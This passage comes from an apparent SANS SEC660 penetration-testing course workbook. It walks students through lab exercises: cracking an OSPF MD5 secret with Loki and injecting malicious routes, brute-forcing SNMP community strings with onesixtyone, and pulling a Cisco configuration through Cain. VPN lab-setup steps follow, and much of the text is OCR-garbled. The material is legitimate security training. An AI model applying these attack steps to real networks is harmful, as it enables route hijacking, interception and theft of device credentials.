• Validate the injected HTML content with the etterfilter script. Make sure you are specifying the correct 
IP address of the attacker system. 

• Optionally check the source code of the Kittenwar page on the victim. Look for the <head> tag to 
identify if Ettercap included the injected content in the victim browser. 
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Exercise: I nserting OSPF Routes 

• In the Manipulating the Network module we 
looked at routing protocols 
• Many networks transmit routing peer announcements 

in the access layer 

• Some networks attempt to protect routing 
advertisements with MD5 digest authentication 

• We'll exploit these weaknesses to discover and 
manipulate routing with Loki 
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Exercise: Inserting OSPF Routes 
In the Manipulating the Network module we examined several vulnerabilities in interior routing protocols. 
Many organizations announce routing updates on end-user segments where user workstations connect to the 
network (the access layer), leaving them exposed to routing manipulation attacks. Some organizations attempt 
to protect against attack by protecting the routing process with MD5 digest authentication, using a shared 
secret to validate entries in the routing table. In this configuration, an attacker who can capture internal routing 
traffic can mount an offline dictionary attack against the MD5 shared secret value. 

In this exercise, we'll have some hands-on practice on exploiting these weaknesses in internal routing tables, 
focusing on the OSPF protocol. 
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Loki Setup Warning 

• Loki is a recent tool and 
still slightly buggy (but 
effective) 

• Included in the 
customized version of 
Kali Linux distributed 
with the class materials 

SEC660 I Advanced Pen Testing, Exploit Writing. and Ethical Hacking 264 

Loki Setup Warning 
We'll be using Loki for the attack portion of the lab exercises. This is a recent and effective tool but is still 
buggy and requires a significant number of changes to operate on Kali Linux. We've taken care of most of the 
work for you by installing Loki on our customized Kali Linux distribution. 
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Loki Setup 

• Loki's OSPF password cracking module is written 
in C and buggy 
• Crashes when it reads passwords longer than 16 

characters 

• OSPF passwords cannot be longer than 16 
characters 

• We need to trim the wordlist appropriately 

# cut - cl - 16 </usr/share/wordl is ts/sqlmap . txt >/usr/ share/wordl ists/loki . txt 
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Loki Setup 
Loki's OSPF password cracking module is flawed in that it does not properly handle dictionary word guesses 
longer than 1 6  characters. Fortunately, OSPF shared secrets cannot be longer than 1 6  characters. To work 
around this bug in Loki, we need to trim our dictionary word list so passwords are not longer than 1 6  
characters in length. 

In the example on this page, we read from the input file /usr/share/wordlists/sqlmap.txt, and truncate each line 
to no more than 1 6  characters using the cut utility, producing a new output file "loki.txt". Run this command 
on your system as well before continuing with this exercise. 
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Routing Monitoring Aid 

• A local looking glass page is 
updated every minute 
• Discloses local routing table 

• Discloses OSPF neighbor entries 

• May wish to keep a browser 
window open on this page to 
monitor local event during the . 
exercise 

Routing Entries for se,:;660-rtr-1/10.10,10.40 

http:// I 0. 1 0. 1 0.70/routing.htm l 
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Routing Monitoring Aid 
As part of this lab exercise, you'll use a looking glass application to investigate the routing tables for our target 
network. 

A looking glass is a networking tool that allows operators to inspect the routing information from one or more 
target routers. In our application, we'll disclose the entire OSPF routing table (using the output of "show ip 
route") in a static file that is updated every minute. Additionally, we'll display the status of all OSPF neighbor 
adjacencies with the output of "show ip ospf neighbors". 

You may wish to keep a web browser open and pointed to the URL shown on this slide throughout the lab 
exercise to get a view into the effectiveness of your attack. 

This page shows the output from the router looking glass application, identifying the current routing table as 
well as the OSPF neighbor adjacency. Note that this output reflects the actual network in use and is not tainted 
by an attack. 

266 © 2018, Joshua Wright 



• l 

Using Loki 

•� - .. .,___ ,,../ ,a UTIIIIG MPlS HO T-STANOBY wl«p icmp5 tcp-mdS dotlq orp 

1 Ps6· 

10 10 .10 75 
25S 2 5S 0 0  

f€-&0 20, 29ff f£1ch 5,,06 
ffff-tfff:ffff:tttf-

CancQol O K  
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Using Loki 
Start Loki at the command line by running "loki.py". After invoking Loki you will be presented with the 
default Loki screen. To start capturing data, invoke the packet sniffer by clicking on the icon at ( I ). You will 
be prompted to select a network interface at (2); select the appropriate local network interface and click OK. 

If your system also has multiple IPv6 IP addresses, Loki will prompt you to choose one. The choice of 1Pv6 
addresses won't affect this lab since we're sticking with 1Pv4; click OK to acknowledge the default-select IPv6 
address. 

After the Loki sniffing process starts, watch for indicators of observed protocols when the tabbed window 
labels start to blink . 

Note: If you are completing this exercise online, remember to use the "tap0" interface instead of the "eth0" 
interface shown on this page. 
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OSP F  Peer Identification 

t<p-maS <lot 1 I' 

IP  ID AREA STATE AUTH CRACK  MASTER 

10,10.10.40 10.10.1040 0 HELLO CRYPT ( '  

Connection Cracking Injection 

Area 

0 

Authentlco1tion 

Typ• 

/\UTH. YPT � I[ 

[l] OSPF Got new peer 10 lO 10 40 

Network Netmask. Type! 

0 

Hi.1llo 

Crack PW 

-
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OSPF Peer Identification 
After starting the Loki sniffer you will see the "ROUTING" tab label start to blink. Clicking on this tab will 
also reveal that the "ospf' label is blinking. Clicking on this label wil l open the ospf attack view, revealing a 
single observed router as shown in this slide. 

The router at 1 0. 1 0. 1 0.40 wi I I  be our attack target that we will use to peer with and manipulate with OSPF 
route injection. If after several minutes you do not see OSPF activity, your host system may not be passing 
those frames to the guest OS. Please contact an instructor for assistance. 
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OSPF Password Cracking 

• Use the OSPF message digest cracker to recover 
the shared secret 
• Use loki.txt in /usr/share/wordlists 

• "Use bruteforce" and "Use full charset" options are not 
necessary 

• Ensure you click on the target device to focus the 
attack to one router 
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OSPF Password Cracking 
In the first part of this exercise, you'll need to recover the OSPF digest secret used to protect routing updates. 
In this attack, you can use the password list included in the Kali Linux distribution at: 
/usr/share/wordlists/loki.txt. The "Use bruteforce" and "Use full charset" attack options in Loki are not 
necessary to be successful in the attack. 

Remember to click on the target router to focus the attack before initiating the password recovery attack. 
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OSP F  Route Injection 

• Become an OSPF peer 

• Insert your own route into the OSPF routing table 
• 172. 17.XXX.o, subnet mask 255.255.255.0 

• Replace XXX with your local IP address fourth octet 

• Observe peer status and route on the looking glass 

• Inserting a route allows you to impersonate entire 
network segments 
• Or become a new gateway of last resort 
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OSPF Route Injection 
For the second component of the attack you need to configure Loki to become an OSPF peer with the target 
router. Once you have completed the OSPF exchange and your peering state changes to "FULL", you will be 
able to inject your own routing traffic. Inject your own 24-bit network using the first 2-byte prefix of 1 72.1 7, 
with a third octet matching the last byte of your attacking IP address. 

After injecting your route, wait a minute and check the status in the looking glass application. You should also 
be able to see your IP address as a new OSPF peer as well. 
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. ) 

Exploiting OSPF - STOP 

• Stop here, unless you want answers to the exercise 
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Exploiting OSPF - STOP 
Don't go any further unless you want to get the answers to the exercise. The next page will start going over the 
answers to this exercise. 

If you are stuck or need a l ittle help getting started, look at the next slide. Each successive slide gives you a 
little more assistance in answering the exercise. If you want to do it all on your own, however, stop right here . 
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Starting Loki, Target Discovery 

IP II) AREA STATE AUTH CRACK MASTER 

Connection Cracking ln,-ction Network Netmask Type 

Use bruteforce Use full choirs-et 

Wordl1-st loki ltt  

(2J OSPF. Found password 'g1antzomb1e' for host 10 ,10 10 40 

H tic 

Crick PW 
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Starting Loki, Target Discovery 
First, start Loki at the command line as shown in ( 1 ). After Loki starts, invoke the network sniffer by clicking 
the icon at (2). Select the appropriate network interface in the dialog that follows, and click OK. 

After Loki observes OSPF announcement traffic, the "ROUTING" tab label will blink at (3). Clicking on this 
tab will also reveal the "ospf' tab label as blinking at ( 4). Clicking this label will reveal the presence of a 
discovered routing target. 
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OSPF Digest Secret Recovery 

ROU T ING MPLS HOT-STANOEIY wlccp icmp6 t<p·mdS dotlq arp 

IP ID AREA STATE AUTH CRACK MASTER 

{UC:klr19 lnJection 

1 Use IJ.ruteforce Use full charset 

Wordl1st \oic:i,txt 

Network Nl!tmask Type 

[2] OSPF· Found password 'g1antzomb1e' tor hoit 10 10 10 40 

Hello 

- 1 
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OSPF Digest Secret Recovery 
To mount an oftline dictionary attack against the MD5 digest secret, click on the target router to select i t  at ( I ). 

Next, select the password cracking attack option by clicking on the "Cracking" tab at (2). 
Select the loki.txt password file in /usr/share/wordlists at (3). 

Finally, click the "Crack PW" button at ( 4) to initiate the dictionary attack. This will start the dictionary attack 
process, revealing the highlighted shared secret after a short period. 
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' OSP F  Peer Connection 

ROUTING MPLS HOT-STANDBY wlccp 1<mp6 tcp-md5 dollq a,p 

np ospf bgp aigrp 

N�twork Netmask Typ� 

1 1  
_, 
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OSPF Peer Connection 
Once we have recovered the OSPF secret, we can create a connection to the router and become an OSPF peer 
with Loki. First, click the "Connection" tab at ( I )  to examine the OSPF peer connection attack options. Change 
the authentication type option to "AUTH_CRYPT" as shown in (2) to allow us to authenticate with knowledge 
of the OSPF digest secret. Enter the digest secret recovered in the prior slide as the key in (3). Next, change 
the authenticate identifier to " 1 "  at option (4). Check the box to mark the identified OSPF router as a device 
that can be used for route exchange in (5). 

After configuring the necessary authentication options, we can create a peer relationship with the target router. 
Click the "Hello" button at (6) to start the connection process. Examine the status of the STATE column as it 
gradually progresses from HELLO to FU LL. Once the attack system completes the OSPF peer exchange 
process with the target system, you will be able to expand the tree list to observe all the discovered routing 
update information from the victim. 

If after several minutes the STATE has not changed from "2WA Y", click the Hello button again to turn off the 
neighbor relationship. After a few seconds, click it again to restart the connection attempt to the OSPF peer. 
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OSPF Route Enumeration 
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OSPF Route Enumeration 
After Loki establishes a peer relationship with the target router, Loki will display "FULL" in the state column, 
and include a list of routes retrieved from the target router, as shown on this page. This information is valuable 
for a penetration tester, giving us insight into the networking and organization of internal network routes. 
However, we can extend our access even further by injecting routes as well to create MITM opportunities. 
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OSP F  Route Injection 
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OSPF Route Injection 
As a final attack component, we'll inject our own routing advertisement into the OSPF area. Navigate to the 
injection attack tab by clicking on the " Injection" tab at ( I ). Next, enter your desired network to inject at (2) 
using the format 1 72. 1 7  .XXX.O, where XXX is replaced with the last octet of your attack system IP address. 
Enter the subnet mask as shown at (3). Finally, click the "Add" button at ( 4) to advertise the presence of this 
new route within the OSPF network. 
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Looking Glass Perspective 
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Looking Glass Perspective 
After injecting the malicious OSPF advertisement, navigate to the looking glass page at: 
http:// 10. l 0. 1 0.70/routing.html. Wait a minute as the page automatically refreshes itself and examine both the 
routing table for your malicious network advertisement and the presence of your attack system IP address as 
an OSPF neighbor. 
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Exercise:Abusing Cisco S N M P  Read/Write Access 

• In the Exploiting the Network module we looked at 
SNMP 
• Cisco IOS devices with SNMP RW access permit retrieval of 

configuration file data 

• Your target is at 10 . 10 .10 .40 

• Discover SNMP RO community string 

• Discover SNMP RW community string 

• Retrieve Cisco IOS configuration file 

• Please do not change MIB data or the router 
configuration file 
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Exercise: Abusing Cisco SNMP Read/Write Access 
In the Exploiting the Network module we looked at various techniques to compromise and manipulate the 
SNMP protocol on various devices. One valuable attack mechanism against Cisco !OS devices is to retrieve 
the device configuration file, initiating the transfer with the SNMP read/write string and retrieving the 
configuration data over TFTP. 

The Cain CCDU feature makes it straightforward to retrieve the Cisco configuration file. Use a combination of 
SNMP community string guessing tools and Cain to retrieve the configuration from the Cisco IOS target at 
I 0. 1 0. 1 0.40. Please do not make any changes to the MIB or the router configuration file though. Thanks! 
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) 

Abusing Cisco SN MP RW - STOP 

• Stop here, unless you want answers to the exercise 

Abusing Cisco SNMP RW - STOP 
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Don't go any further unless you want to get the answers to the exercise. The next page will start going over the 
answers to this exercise. 
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Community String Recovery - onesixtyone 

# ping - c  2 10 . 10 . 10 . 4 0 
PING 1 0 . 1 0 . 1 0 . 4 0 ( 10 . 1 0 . 1 0 . 4 0 )  5 6 ( 8 4 )  byte s  of data . 
6 4  bytes from 1 0 . 1 0 . 10 . 4 0 : i cmp_seq= l ttl=255  t ime= l . 62 ms 
6 4  bytes f rom 1 0 . 10 . 1 0 . 4 0 : i cmp_seq=2 t t l = 2 5 5  t ime= l . 6 3 ms 

- - - 1 0 . 1 0 . 1 0 . 4 0  ping stat istics  - - -
2 packets transmitted,  2 rece ived , 0%  packet loss , t ime 1 0 0 4ms 
rtt min/avg/max/mdev = l . 6 2 1 / 1 . 6 3 0 / 1 . 6 3 9 / 0 . 0 0 9  ms 
# onesixtyone -c /usr/ share/doc/ones ixtyone/dict . txt 10 . 10 . 1 0 . 4 0 
Scanning 1 hos t s , 5 0  communities  
Cant open hos t s  f i le

.
n ing s ingle host : 1 0 . 1 0 . 1 0 . 4 0 

1 0 . 1 0 . 1 0 . 4 0  [private 
_ 

IOS Software , C26 0 0  Software ( C2 6 0 0 -ADVSECURITYK9 -M ) , 
Version 1 2 . 3 ( l l ) T ,  REL SOFTWARE ( fc2 ) Technical Support : 
http : / /www . c i sco . com

�
support Copyright ( c )  1 9 8 6 - 2 0 04 by Cisco Sys tems , Inc . 

Comp iled Sat 1 8 - Sep : 3 8  by eaarmas 
1 0 . 10 . 1 0 . 4 0  [pub l i c ]  i sco IOS Software , C2 6 0 0  Software ( C2 6 0 0 -ADVSECURITYK9 -M) , Version 
12 . 3 { l l ) T ,  RELEASE SOFTWARE ( f c2 ) Technical Support : http : / /www . ci sco . com/ techsupport 
Copyright ( c )  1 9 8 6 - 2 0 0 4  by Ci sco Systems , Inc . Comp i l ed Sat 1 8 - Sep- 0 4  1 1 : 3 8 by eaarmas 
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Community String Recovery - onesixtyone 
In this solution, the onesixtyone tool is used to brute-force and discover the SNMP community string against 
the target system. First, verify connectivity to the target at I 0. 1 0. 1 0.40 with "ping I 0. 1 0. 1 0.40". This is 
always a good idea before attacking a system with a UDP-based protocol to ensure your traffic will make it to 
the target. 

Next, use the onesixtyone with the "-c" parameter, referencing the standard SNMP community string file in 
/usr/share/doc/onesixtyone/dict.txt. Finally, specify the target IP address as the last command-line parameter. 

Quickly, onesixtyone will identify the community public and private community strings on the target system, 
as shown here. 
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) 

Cain CCDU Attack ( I )  
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Cain CCDU Attack (1) 
With the SNMP read-write community string, we can tum to Cain's CCDU utility to retrieve the target IOS 
device configuration file. Install the Cain ca_ setup.exe installer included on the course USB drive. 

Next, start Cain and click on the CCDU tab. Click on the blue plus sign on the toolbar, and specify the target 
as shown on this page. Click OK to retrieve the target configuration file. 
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Cain CCDU Attack (2) 

file- fdit )f.atch l'.irw Erlcodmg L•"'9u•g� Slfttin-g'- Macro Run Plug111s �ind� 1 

10.10 l0.40_Flwnri,ng(ot1f!g_20147.920394,., • 

Cain CCDU Attack (2) 

pa.3:S'JO.tci 7 ne25�4�3490£'JD!E060E010S.3820642C�6� �2000 

t'!'.:anspo:rt input t-elr,et 
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Cain's CCDU attack quickly recovers the IOS configuration file. If you right-click on the Cain entry and select 
"View", you wi l l  get a jumbled configuration file in Notepad because the file is Unix formatted. Instead, 
browse to the C:\Program Files (x86)\Cain\CCDU directory and open the retrieved file with Notepad++, 
WordPad, or another editor that handled Windows-formatted text files. You will be able to review the 
configuration file contents, and even recover weak passwords from the configuration file with Cain's Type 7 
Password Decoder feature. 

Congratulations, you have reached the end of the SEC660. I bootcamp exercises. 
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SANS 
Appendix A: SANS Online 
VPN Setup Instructions 
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I ntroduction 

• Remote access to the SEC66o online lab network 
is accessible to SANS Online participants 
• vLive! ,  OnDemand, Self-Study, and Simulcast 

• Follow these setup instructions to configure the 
Windows 10 and Kali Linux VMs distributed with 
your course materials 
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Introduction 
If you are completing SEC660 remotely through one of the SANS Online programs, you will be able to access 
the final workshop servers through a VPN connection. This appendix is designed to guide you through the 
setup process for configuring the supplied Windows I O  VM and the Kali Linux VM distributed with your 
course materials. 
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SEC660 Virtual Lab Access Email  

� :•)�;: v1rtuaHabs-support@$ans.org 
y;t,,,,~.  SEC660A Virtual Lab Access 

i1 ,itr,: February 6, 2018 at 8:55 AM 
i,_._ josn@oounterhack.com 

Dear Josh Wright, 

SEC660A Virtual Lab Access 
► 

This email is sent to all registered students in the Mentor, On Demand or 
vlive! SEC660 classes. The information contained below tells y0u how 
lo aooess the virtual lab for Days 1 -5 of the class. 

General Information 

II you lake SEC660 al a conference, the firs! fo,e days of the dass have 
you doing exercises against a number of targets at the !rant of the room, 
and the room is networked. 

Th is emai l has 

important 

i nformation !  
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SEC660 Virtual Lab Access Email 
Please locate and open the email from the SANS Virtual Labs Support team (virtual-labs-support@sans.org) 
that provides you with the necessary information to access the SEC660 online lab network. Take a few 
minutes to read through the message. 
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Windows I O  Setup - Download VPN Certificate and Key 

SEC660A Virtual Lab Acee•• 

ii n w 

f't; ; Vl,WaJ.lab!Huppotl@S�-Org 
" lh -:: SEC660/\ Virtual Lab Access 

,, .,•;, February 6,20tSat 8:55 AM 
ic: josh@ooanlerhack.com 

,,.- . _ •• _.,....,lnln 1he software And other configuration f,J 

IW!NtU:r.:;"lng link to go to a wob page that has your 
key mes. 

Aooe�s 

You have access to the $EC660A Virtual Lab the entire 
ac.-:oss to your Mentor, On Demand or vlive! SEC680 c 

..,. 

□ X 
.J https:/ii,b;.sans.o rg!<E( P · • C� lab1.1ins.org t 

opcrnting systems or course VMs that it is expected that you would be 
J i fonhis class. 

□ . -- ·-··- ..... ., --- -·-- ····- - t"- • • • •  ----. .. ·--- ·-· -· •• -·- ---· 

For whichever ones you need, right-dick on the OµcnVPN config file link 
and choose 'Save link as._. ( brorne)', 'SaYe Link As ... (Firefox)', 'SaYe 
target as .. (IE)' or 'Download Llllked File As (Safari)' 

Caprurc the 1!!«660n-9999 1 Flag VPN ----

< > 

Save the ovpn fi le to your Downloads folder. 

v 
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Windows IO  Setup - Download VPN Certificate and Key 
In this appendix we will examine SANS SEC660 online lab network setup instructions for the Windows I 0 
and the Kali Linux VMs. First we'll examine the setup steps for Windows I 0, then we'll examine the steps for 
Kali Linux. Please use the Windows 1 0  and Kali Linux VMs supplied with the course materials for these setup 
instructions. 

After visiting the URL in the User Authentication section of the SEC660 Virtual Lab Access email, you will 
see a page with your name and two links for Windows and Linux. Right-click on the ovpn tile and save to 
your Downloads folder. 
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Windows I O  Setup - Move Ovpn F i le 

� ·  21 -;- i DO\M\k.1i11d1 

Hom(' 5fH1� 

+- . 1- ,&. ,  l his ... 

Ntme 

0 
V1t.W 

,. DMJmloa ••. V C; 

X • 
., 1  

I [0 � ; tonfig 

" 1" _! <.c OptnVPN i- config 

v * Ot1ick .ac:ctH 
RfAOME, , 

D X 

v ��-< ft) m6fi0o•999'>-1296114.ovpn 

" 0  
... --��-r.,��-� .. ,uo,.99911.111)6,14,0\'P" 

Do, Open the ·ii": PictY,., Downloads folder 

Drag and drop ovpn file to move to the 
OpenVPN config file location 

! 00CUM(!f1\J ,I' 

- Pjuu111 ,t 

lab I 

DEV _, 0 Open 
C:\Program Files 

(x86)\OpenVPN\config 

This step completes the SEC660 onl ine network setup. 
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Windows 10  Setup - Move Ovpn File 
After downloading the certificate and key files, move them to the Open VPN config folder as described: 

1 .  In one Explorer window, navigate to your Downloads folder. 
2. [n a second Explorer window, navigate to the Open VPN config folder "C:\Program Files 

(x86)\Open VPN\config". 
3. Drag and drop the ovpn file from the Downloads folder to the Open VPN config folder. 

This step completes the SEC660 online network setup process for the Windows I O  VM. 
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Windows I O  Lab Connect - Start the OpenVPN G U I  

Commw � 

• Start the Open VPN GUI 
l'ile bpfo,,,r-

Notq,od c..... • Right-click the Open VPN 

Wirdow> ISE 
icon in the system tray 

� • Click Connect to start your 
connection 

V Abmll & Cloct 

C 

® 

0 

II p 0 • e GI 
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Windows 10  Lab Connect - Start the Open VPN GUI 
With the Open VPN configuration complete we'll examine the steps to connect to the SEC660 online lab 
network. Start the Open VPN GUI client from the Start menu. Right-click the Open VPN icon in the system 
tray. Click Connect to start your VPN connection. 
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Windows I O  Lab Connect - Enter VP N Password 

u X I 
Cu11m S1aw Ccnioctino 

Tue Feb Ill 17:1a44 2018 OpenvPN 2 2,1 'y/o,32-MSVC, (SSLl l1.Z02J bw onJ� I 201 1 
Tue Feb 06 1 7:18:44 2018 WAAN"IG; No server certificate verif�tion method has been enabled See http:/, 
Tut, Feb 06 1 7:18A4 2018 NOTE: OpenVPN 2. 1 requites '··script·securil)' 2' or higher to call user-de/i11ed scrip( 

Ente, PasswDf<I 

Cancel 

< 

Dis:connect Reconnect Hide 

When 
prompted, enter 

the password 
"VpnPassword" 
to access the 
VPN network. 
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Windows 10  Lab Connect - Enter VPN Password 
When prompted, enter the password "VpnPassword" (without the quotes) to access the SEC660 VPN network. 
When the connection completes, the Open VPN icon will be green. 
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Windows I O  Lab Connect - Successful Connection 

• A successful connection will display a message 
with your IP address 

• The Open VPN icon will be green 

• Right-click and select Disconnect to terminate 
when desired 

sec660a- - 1 2961 14 is now 
connected. 
openvpo-gu:-1 :J 3 f'"l_('-

• p [OJ 
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Windows 10  Lab Connect - Successful Connection 
When you successfully connect to the Open VPN network, you will see a success message similar to the 
example shown on this page, disclosing your VPN IP address. The Open VPN icon will also change to green. 
When desired, right-click on the Open VPN icon and choose "Disconnect" to tenninate the connection. 
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Windows I O  Lab Connect - Test Your Connection 

• Optionally test your connection with ping to reach 
10.10. 10.70 

• Note that the ITL is 64 
• You are on the same LAN as the SEC66o server assets 

: \U s e rs\s tu d ent>p i ng 1 0 . 1 0 . 1 0 . 70 

i ru;;1 i ng 1 0 . 10 . 1 0 . 70 w i U 1  3 2  byt2s o f  da t a :  
ep ly from 10 . 10 . 10 . 70 : bytes=32  t i me = 5 9ms TTL=64 
ep ly from 10 . 10 . 10 . 70 :  bytes � 3 2  t i me=58ms TTL=64 
e-p ly frorn 10 . 1 0 . 10 . 70 : byte s ,:,3 2  t i rne=5 7ms T TL=64 
ep ly  from 10 . 10 . 10 . 70 :  byte s= 3 2  ti me=78ms TTL�64 

i n g s ta t i s t i c s  for 10 . 10 . 10 . 7 0 :  
Packets : sent = 4 ,  R�cei ved = 4 ,  Los t = 0 (0% l oss) , 

p roxi mate round tr i p t i mes  i n  mi l l i -s econds : 
Mi n i mum -� 5 7ms , Maxi mum 78ms , Av-:::rage .-., 6 3rns 
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Windows 10 Lab Connect - Test Your Connection 
Optionally you can test your VPN connection from a Windows command line. Using "ping I 0. 1 0. 1 0.70", we 
see four responses from the target server. 

Note that the TTL in the ping reply messages is 64 - your VPN client is on the same LAN connection as the 
SEC660 server assets. If you see a TTL that is less than 64, you may be receiving a response from a host 
within your ISP's network. Double-check the Open VPN GUI connection status to validate your connection. 
You can also email virtual-labs-support@sans.org for assistance. 
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Kali Linux Setup - Request Address, Test Connection 

• Log in to Kali Linux using root/toor 
• Open a terminal 
• Request a DHCP address using dhclient etho 
• Test your connection by pinging www.google.com 

- root@ka l i : ~# dhcl ient ethO 
- smbd . service is not act ive , cannot reload . 

invoke - re . ct :  initscript smbd , act ion " re load" fai led . 
root@ka l i : ~# ping - c  3 www . google . com 
PING www . googl e . com ( 17 2 . 2 17 . 9 . 19 6 )  5 6 ( 84 )  bytes of dat a .  
6 4  bytes from iad3 0sl4 . le l 0 0 . net ( 1 72 . 2 1 7 . 9 . 1 9 6 ) : icmp_seq= l ttl=57  t ime=2 1 . l  ms 
64 bytes from iad3 0sl4 . le 1 0 0 . net ( 1 7 2 . 2 1 7 . 9 . 1 9 6 ) : icmp_seq=2 t t l = 5 7  t ime=2 1 . 7  ms 
64 bytes f rom iad3 0s14 . le l 0 0 . net ( 1 72 . 2 1 7 . 9 . 19 6 ) : icmp_seq= 3 t t l = 5 7  t ime=l 9 . 8  ms 

- - - www . google . com p ing statistics - - -

SEC660 I Advanced Pen Testing, Exploit Writing. and Ethical Hacking 292 

Kali Linux Setup - Request Address, Test Connection 
Next we'll look at the steps to configure the Open VPN client on Linux. After opening and booting the Kali 
Linux VM supplied on your SEC660 USB drive in VMware, log in with the username "root" and the password 
"toor". 

After logging in you see the Linux desktop environment. On the left you are presented with a series of icons. 
Click the terminal icon (black, immediately below the orange Firefox icon) to open the tenninal. 
From the terminal, run the dhclient ethO command (as shown on this page) to request an IP address from 
a local DHCP server. Next, confirm your network connectivity by pinging www.google.com, as shown. 
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Kali Linux Setup - Download the Open VP N Configuration File 
SEC660A Virtual Lab  Acces• 

, ,, virtval-14bS•auppo�@sans.org 
https://labs .. 153380f3dc/ x + 

S•it;>:t SECOOOA \/inuaJ lab Aoous + C ·,, February 6, 2016 al 8:55 AM 
1, jOstt@oountemacltcom 

Mer you obtain tho soflw ID and 0111111 con gurar 
click tho roWovlfng Ink 10 oo to woo page that h 
certifcate and l<oy filos. 

hn�•tltt,t,, 

, Kali Linu� , Kah Docs , Kati Tools 

Access ......... NOTE:The file naming scheme for the Open VPN configuration files 
You have access 10 1ne SEC660A Virlual lab the 1 are: <lab name>-<event id>-<your id>.ovpn access lo your Mentor, OnOemard or vlive! SEC 

NOTE: What follows below is the text of the email you should have 
received. It is nrovided here as well for convenience, 

Save the ovpn fi le to your Downloads directory 
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Kali Linux Setup - Download the Open VPN Configuration File 
Next, open the Firefox browser and browse to the URL indicated in your SEC660 Virtual Lab Access email 
(you can cut and paste the URL into the Firefox URL bar). Right-click and save the ovpn fi le to your 
Downloads folder. 
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Kal i Linux Setup - Move Ovpn File 

-oot@kal i , ~# cd Downloads / 

root@kal i : - /Downloads# l s  
sec6 6 0a - 9 9 9 9 - 1 2 9 6 1 14 . ovpn 
root@kali : - /Downloads# mv sec 6 6 0a* . ovpn /etc/openvpn/ 

This step completes the SEC660 onl ine network setup 
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Kali Linux Setup - Move Ovpn File 
After downloading the ovpn file, move it to the Open VPN config folder as shown on this page. Note that your 
ovpn file will have a different filename than the example shown. 

This step completes the SEC660 on line network setup process for the Kali Linux VM. 

294 © 2018, Joshua Wright 



Kali Linux Lab Connect - Connect to the SEC660 Lab Network 

root@kal i : ~/Downloads# cd 
root@kali : ~# openvpn - - config /etc/openvpn/ sec66 0a* . ovpn 
Tue Feb 6 0 6 : 3 1 : 0 9 2 0 1 8  OpenVPN 2 . 3 . 1 1 x8 6_64 -pc - l inux-gnu [SSL (OpenSSL ) ]  
[LZO] [EPOLL] [ PKCS l l ]  [MH] [ I Pv6 ] built  on May 2 3  2 0 1 6  
Tue Feb 6 0 6 : 3 1 : 0 9 2 01 8  l ibrary versions : OpenSSL l . 0 . 2 j 2 6  Sep 2 0 1 6 , LZO 
2 . 0 8 
Tue Feb 6 0 6 : 3 1 : 0 9 2 0 1 8  WARNING : No server c hod 
has been enabled . See http : / /openvpn . net/how 
Enter Private Key Password : * * * * * * * * * * *  
Tue Feb 6 0 6 : 3 1 : 12 2 0 1 8  W 

e option to prevent this 
may 

to TUN/TAP : Input /output error ( code=5 ) 
li zation Sequence Completed 
to TUN/TAP : Input /output error ( code=5 ) 

in 
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Kali Linux Lab Connect - Connect to the SEC660 Lab Network 
With the Open VPN configuration complete we'll examine the steps to connect to the SEC660 on line lab 
network. To connect to the SEC660 online network, open a Kali Linux terminal and run the Open VPN tool as 
shown on this page and below: 

# openvpn - - conf ig /etc/openvpn / * . ovpn 

When prompted for a password, enter "VpnPassword" (without the quotes). 

Some output from the command shown on this page is omitted for space. 
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Kali Linux Lab Connect - Obtain an I P  Address 

Click File I Open Terminal to open a new terminal tab 

root@kal i : ~# dhclient tapO 
smbd . service is not active , cannot reload . 
invoke - rc . d :  initscript smbd , action " reload" failed . 
smbd . service i s  not active , cannot reload . 
invoke - rc . d :  initscript smbd , action " reload " failed . 
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Kali Linux Lab Connect - Obtain an IP  Address 
After the VPN client connects you will have a new interface tap 0 .  The Open VPN service will run in the 
current window until you stop it by pressing CTRL+C. 

Open a new tab in the terminal by clicking File I Open. In the new terminal tab run dhclient tapO to 
obtain an IP address (note that the tapO interface may take a few seconds to appear after the Open VPN client 
starts). 
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Kali Linux Lab Connect - Test Your Connection 

root@ka l i : -# ping - c  3 1 0 . 10 . 1 0 . 7 0  
PING 1 0 . 1 0 . 1 0 . 7 0 ( 1 0 . 1 0 . 1 0 . 7 0 )  5 6 ( 8 4 )  bytes o f  data . 
64  bytes  from 1 0 . 1 0 . 1 0 . 7 0 :  i cmp_seq= l ttl=64  t ime = l l 3  ms 
64 bytes from 1 0 . 1 0 . 1 0 . 7 0 :  icmp_seq=2 t t l = 6 4  t ime= 5 7 . 2  ms 
64 bytes from 1 0 . 1 0 . 1 0 . 7 0 :  i cmp_seq= 3 ttl=64  time= 5 8 . 0  ms 

- - - 1 0 . 1 0 . 1 0 . 7 0 ping stat i st i c s  - - -
3 packets transmitted,  3 received ,  0 %  packet loss , t ime 2 0 0 5ms 
rtt min/ avg/max/mdev = 5 7 . 2 2 1 / 7 6 . 2 5 9 / 1 1 3 . 4 8 8 / 2 6 . 3 2 7  ms 
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Kali Linux Lab Connect - Test Your Connection 
Optionally you can test your VPN connection from a terminal prompt. Using "ping I 0. 1 0. 1 0.70", we see three 
responses from the target server as expected. 

If you see a TTL that is less than 64, you may be receiving a response from a host within your ISP's network. 
Kill the Open VPN client by running ki l l a l l  openvpn and restart the connection. You can also email 
virtual-labs-support@sans.org for assistance. 
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